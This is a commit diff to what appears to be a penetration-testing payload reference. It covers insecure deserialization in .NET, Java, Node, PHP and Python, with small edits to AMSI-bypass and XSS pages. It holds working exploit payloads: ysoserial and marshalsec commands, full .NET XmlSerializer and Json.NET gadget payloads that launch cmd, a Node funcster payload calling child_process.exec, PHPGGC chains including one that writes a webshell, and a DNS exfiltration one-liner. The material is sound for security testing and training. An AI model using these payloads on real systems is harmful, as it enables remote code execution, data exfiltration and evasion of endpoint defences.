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.NET formatters and POP gadgets

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118
Insecure Deserialization/DotNET.md
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@ -3,7 +3,13 @@
## Summary
* [Detection](#detection)
* [Exploit](#exploit)
* [Tools](#tools)
* [Formatters](#formatters)
* [XmlSerializer](#)
* [DataContractSerializer](#)
* [JSON.NET](#)
* [BinaryFormatter](#)
* [POP Gadgets](#pop-gadgets)
* [References](#references)
@ -15,7 +21,7 @@
Example: `AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0u[...]0KPC9PYmpzPgs=`
## Exploit
## Tools
* [pwntester/ysoserial.net - Deserialization payload generator for a variety of .NET formatters](https://github.com/pwntester/ysoserial.net)
```ps1
@ -25,24 +31,120 @@ $ ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
$ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
```
### JSON.NET
## Formatters
![NETNativeFormatters.png](https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/Insecure%20Deserialization/Images/NETNativeFormatters.png?raw=true)
.NET Native Formatters from [pwntester/attacking-net-serialization](https://speakerdeck.com/pwntester/attacking-net-serialization?slide=15)
### XmlSerializer
* In C# source code, look for `XmlSerializer(typeof(<TYPE>));`.
* The attacker must control the **type** of the XmlSerializer.
* Payload output: **XML**
```xml
.\ysoserial.exe -g ObjectDataProvider -f XmlSerializer -c "calc.exe"
<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
<![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc.exe</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
</anyType>
</MethodParameters>
<ObjectInstance xsi:type="XamlReader"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>
```
### DataContractSerializer
> The DataContractSerializer deserializes in a loosely coupled way. It never reads common language runtime (CLR) type and assembly names from the incoming data. The security model for the XmlSerializer is similar to that of the DataContractSerializer, and differs mostly in details. For example, the XmlIncludeAttribute attribute is used for type inclusion instead of the KnownTypeAttribute attribute.
* In C# source code, look for `DataContractSerializer(typeof(<TYPE>))`.
* Payload output: **XML**
* Data **Type** must be user-controlled to be exploitable
### NetDataContractSerializer
* In C# source code, look for `NetDataContractSerializer().ReadObject()`.
* Payload output: **XML**
```ps1
./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "ping 10.10.10.10" -t
.\ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c "calc.exe" -o base64 -t
```
### JSON.NET
* Payload output: **JSON**
```ps1
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc.exe" -t
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
### BinaryFormatter
> The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they’re processing to be trustworthy. BinaryFormatter is insecure and can’t be made secure.
> The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can’t be made secure.
* In C# source code, look for `System.Runtime.Serialization.Binary.BinaryFormatter`.
* Exploitation requires `[Serializable]` or `ISerializable` interface.
* Payload output: **Binary**
```ps1
./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "ping 10.10.10.10" -t
./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
```
## POP Gadgets
These gadgets must have the following properties:
* Serializable
* Public/settable variables
* Magic "functions": Get/Set, OnSerialisation, Constructors/Destructors
You must carefully select your **gadgets** for a targeted **formatter**.
List of popular gadgets used in common payloads.
* **ObjectDataProvider** from `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll`
* Use `MethodParameters` to set arbitrary parameters
* Use `MethodName` to call an arbitrary function
* **ExpandedWrapper**
* Specify the `object types` of the objects that are encapsulated
```cs
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
```
## References
* [Attacking .NET deserialization - Alvaro Muñoz - 28 avr. 2018](https://youtu.be/eDfGpu3iE4Q)
* [Attacking .NET Serialization - Alvaro - October 20, 2017](https://speakerdeck.com/pwntester/attacking-net-serialization?slide=11)
* [Attacking .NET Deserialization - Alvaro Muñoz - 28 avr. 2018](https://youtu.be/eDfGpu3iE4Q)
* [Friday the 13th: JSON Attacks - Alvaro Muñoz (@pwntester) Oleksandr Mirosh - Slides](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* [Friday the 13th: JSON Attacks - Alvaro Muñoz (@pwntester) Oleksandr Mirosh - White Paper](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)
* [Friday the 13th: JSON Attacks - Alvaro Muñoz (@pwntester) Oleksandr Mirosh - DEF CON 25 Conference](https://www.youtube.com/watch?v=ZBfBYoK_Wr0)
* [ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - James Forshaw - Slides](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_Slides.pdf)
* [ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - James Forshaw - White Paper](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
* [Now You Serial, Now You Don't - Systematically Hunting for Deserialization Exploits - ALYSSA RAHMANDEC](https://www.mandiant.com/resources/blog/hunting-deserialization-exploits)
* [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili (@irsdl) - 04/2019](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
* [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili (@irsdl) - 04/2019](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
* [Bypassing .NET Serialization Binders - Markus Wulftange - June 28, 2022](https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html)
* [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) - hacktricks](https://book.hacktricks.xyz/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net)
* [Sitecore Experience Platform Pre-Auth RCE - CVE-2021-42237 - Nov 2, 2021 - Shubham Shah](https://blog.assetnote.io/2021/11/02/sitecore-rce/)
* [Finding a New DataContractSerializer RCE Gadget Chain - November 7, 2019 - dugisec](https://muffsec.com/blog/finding-a-new-datacontractserializer-rce-gadget-chain/)

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Insecure Deserialization/Java.md
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- Content-type = "application/x-java-serialized-object"
- `"H4sIAAAAAAAAAJ"` in gzip(base64)
## Exploit
## Tools
### Ysoserial
[frohoff/ysoserial](https://github.com/frohoff/ysoserial) : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
```java
java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin
java -jar ysoserial.jar Groovy1 'ping 127.0.0.1' > payload.bin
java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64
```
**List of payloads included in ysoserial:**
```ps1
Payload Authors Dependencies
------- ------- ------------
@ -59,7 +62,7 @@ Vaadin1 @kai_ullrich vaadin-server:7.7.14,
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
```
## Burp extensions using ysoserial
### Burp extensions using ysoserial
- [JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller)
- [Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner)
@ -67,24 +70,26 @@ Wicket1 @jacob-baines wicket-util:6.23.0, s
- [SuperSerial](https://github.com/DirectDefense/SuperSerial)
- [SuperSerial-Active](https://github.com/DirectDefense/SuperSerial-Active)
## Other tools
### Alternative Tooling
- [JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget)
- [JexBoss](https://github.com/joaomatosf/jexboss) - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool
- [ysoserial-modified](https://github.com/pimps/ysoserial-modified)
- [gadgetprobe](https://labs.bishopfox.com/gadgetprobe)
- [marshalsec](https://github.com/mbechler/marshalsec) - Turning your data into code execution
- [pwntester/JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget)
- [joaomatosf/JexBoss](https://github.com/joaomatosf/jexboss) - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool
- [pimps/ysoserial-modified](https://github.com/pimps/ysoserial-modified)
- [NickstaDB/SerialBrute](https://github.com/NickstaDB/SerialBrute) - Java serialization brute force attack tool
- [NickstaDB/SerializationDumper](https://github.com/NickstaDB/SerializationDumper) - A tool to dump Java serialization streams in a more human readable form
- [bishopfox/gadgetprobe](https://labs.bishopfox.com/gadgetprobe)
- [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Turning your data into code execution
```java
$ java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389
$ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
$ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"
$ java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389
where
-a - generates/tests all payloads for that marshaller
-t - runs in test mode, unmarshalling the generated payloads after generating them.
-v - verbose mode, e.g. also shows the generated payload in test mode.
gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
arguments - Gadget specific arguments
-a - generates/tests all payloads for that marshaller
-t - runs in test mode, unmarshalling the generated payloads after generating them.
-v - verbose mode, e.g. also shows the generated payload in test mode.
gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
arguments - Gadget specific arguments
```
Payload generators for the following marshallers are included:<br />
@ -105,6 +110,13 @@ Payload generators for the following marshallers are included:<br />
| XStream | **JDK only RCEs**
| YAMLBeans | third party RCE
## Gadgets
Require:
* `java.io.Serializable`
## References

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Insecure Deserialization/Node.md
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@ -3,10 +3,19 @@
## Summary
* [Exploit](#exploit)
* [node-serialize](#node-serialize)
* [funcster](#funcster)
* [References](#references)
## Exploit
* In Node source code, look for:
* `node-serialize`
* `serialize-to-js`
* `funcster`
### node-serialize
> An issue was discovered in the node-serialize package 0.0.4 for Node.js. Untrusted data passed into the `unserialize()` function can be exploited to achieve arbitrary code execution by passing a JavaScript Object with an Immediately Invoked Function Expression (IIFE).
1. Generate a serialized payload
@ -26,6 +35,12 @@
```
3. Send the payload
### funcster
```js
{"rce":{"__js_function":"function(){CMD=\"cmd /c calc\";const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').exec(CMD,function(error,stdout,stderr){console.log(stdout)});}()"}}
```
## References

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Insecure Deserialization/PHP.md
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@ -15,8 +15,8 @@ Also you should check the `Wrapper Phar://` in [File Inclusion](https://github.c
* [General concept](#general-concept)
* [Authentication bypass](#authentication-bypass)
* [Finding and using gadgets](#finding-and-using-gadgets)
* [Real world examples](#real-world-examples)
* [PHP Phar Deserialization](#php-phar-deserialization)
* [Real world examples](#real-world-examples)
* [References](#references)
## General concept
@ -111,7 +111,7 @@ Payload:
O:6:"Object":2:{s:10:"secretCode";N;s:4:"guess";R:2;}
```
We can do an array to like this:
We can do an array like this:
```php
a:2:{s:10:"admin_hash";N;s:4:"hmac";R:2;}
@ -121,7 +121,14 @@ a:2:{s:10:"admin_hash";N;s:4:"hmac";R:2;}
Also called `"PHP POP Chains"`, they can be used to gain RCE on the system.
[PHPGGC](https://github.com/ambionics/phpggc) is a tool built to generate the payload based on several frameworks:
* In PHP source code, look for `unserialize()` function.
* Interesting [Magic Methods](https://www.php.net/manual/en/language.oop5.magic.php) such as `__construct()`, `__destruct()`, `__call()`, `__callStatic()`, `__get()`, `__set()`, `__isset()`, `__unset()`, `__sleep()`, `__wakeup()`, `__serialize()`, `__unserialize()`, `__toString()`, `__invoke()`, `__set_state()`, `__clone()`, and `__debugInfo()`:
* `__construct()`: PHP class constructor, is automatically called upon object creation
* `__destruct()`: PHP class destructor, is automatically called when references to the object are removed from memory
* `__toString()`: PHP call-back that gets executed if the object is treated like a string
* `__wakeup()` PHP call-back that gets executed upon deserialization
[ambionics/phpggc](https://github.com/ambionics/phpggc) is a tool built to generate the payload based on several frameworks:
- Laravel
- Symfony
@ -133,6 +140,8 @@ Also called `"PHP POP Chains"`, they can be used to gain RCE on the system.
```powershell
phpggc monolog/rce1 'phpinfo();' -s
phpggc monolog/rce1 assert 'phpinfo()'
phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
phpggc Monolog/RCE2 system 'id' -p phar -o /tmp/testinfo.ini
```

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Insecure Deserialization/Python.md
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# Python Deserialization
* In Python source code, look for:
* `cPickle.loads`
* `pickle.loads`
* `_pickle.loads`
* `jsonpickle.decode`
## Pickle
The following code is a simple example of using `cPickle` in order to generate an auth_token which is a serialized User object.

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Insecure Deserialization/README.md
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@ -18,10 +18,20 @@ Check the following sub-sections, located in other files :
| Python Pickle | 80 04 95 | gASV |
| PHP Serialized | 4F 3A | Tz |
## POP Gadgets
## LABS
> A POP (Property Oriented Programming) gadget is a piece of code implemented by an application's class, that can be called during the deserialization process.
* [Insecure Deserialization 10 labs](https://portswigger.net/web-security/all-labs#insecure-deserialization)
POP gadgets characteristics:
* Can be serialized
* Has public/accessible properties
* Implements specific vulnerable methods
* Has access to other "callable" classes
## Labs
* [Portswigger - Insecure Deserialization](https://portswigger.net/web-security/all-labs#insecure-deserialization)
* [NickstaDB/DeserLab - Java deserialization exploitation lab](https://github.com/NickstaDB/DeserLab)
## References

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Methodology and Resources/Windows - AMSI Bypass.md
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@ -2,6 +2,7 @@
## Summary
* [List AMSI Providers](#list-amsi-providers)
* [Which Endpoint Protection is Using AMSI](#which-endpoint-protection-is-using-amsi)
* [Patching amsi.dll AmsiScanBuffer by rasta-mouse](#Patching-amsi.dll-AmsiScanBuffer-by-rasta-mouse)
* [Dont use net webclient](#Dont-use-net-webclient)
@ -19,9 +20,31 @@
* [Adam Chesters Patch](#Adam-Chester-Patch)
* [AMSI.fail](#amsifail)
## List AMSI Providers
* List providers with : `Get-ChildItem -Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\'`
* Find software from CLSID
```ps1
Get-ChildItem -Path 'HKLM:\SOFTWARE\Classes\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}'
Name Property
---- --------
Hosts (default) : Scanned Hosting Applications
InprocServer32 (default) : "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2210.4-0\MpOav.dll"
```
## Which Endpoint Protection is Using AMSI
* https://github.com/subat0mik/whoamsi/wiki/Which-Endpoint-Protection-is-Using-AMSI%3F
Small extract from [subat0mik/whoamsi](https://github.com/subat0mik/whoamsi) - An effort to track security vendors' use of Microsoft's Antimalware Scan Interface:
| Vendor/Product | AMSI | Date | Reference |
| -------- | -------- | -------- | -------- |
| Avast | Y | 03/20/2016 | https://forum.avast.com/index.php?topic=184491.msg1300884#msg1300884 |
| AVG | Y | 03/08/2016 | https://support.avg.com/answers?id=906b00000008oUTAAY |
| BitDefender Consumer | Y | 09/20/2016 | https://forum.bitdefender.com/index.php?/topic/72455-antimalware-scan-service/ |
| BitDefender Enterprise | Y | 05/25/2021 | https://twitter.com/Bitdefender_Ent/status/1397187195669295111?s=20 |
| Kaspersky Anti Targeted Attack Platform | Y | 10/10/2018 | https://help.kaspersky.com/KIS/2019/en-US/119653.htm |
| Symantec Advanced Threat Protection | Y | 07/15/2020 | https://techdocs.broadcom.com/content/broadcom/techdocs/us/en/symantec-security-software/endpoint-security-and-management/endpoint-protection/all/release-notes/Whats-new-for-Symantec-Endpoint-Protection-14_3-.html |
| Microsoft Defender for Endpoint | Y | 06/09/2015 | https://www.microsoft.com/security/blog/2015/06/09/windows-10-to-offer-application-developers-new-malware-defenses/
# Patching amsi.dll AmsiScanBuffer by rasta-mouse

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XSS Injection/README.md
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@ -497,7 +497,7 @@ document.getElementById('btn').onclick = function(e){
### XSS Hunter
Available at [https://xsshunter.com/app](https://xsshunter.com/app)
XSS Hunter is deprecated, it was available at [https://xsshunter.com/app](https://xsshunter.com/app). You can set up an alternative version from [mandatoryprogrammer/xsshunter-express](https://github.com/mandatoryprogrammer/xsshunter-express)
> XSS Hunter allows you to find all kinds of cross-site scripting vulnerabilities, including the often-missed blind XSS. The service works by hosting specialized XSS probes which, upon firing, scan the page and send information about the vulnerable page to the XSS Hunter service.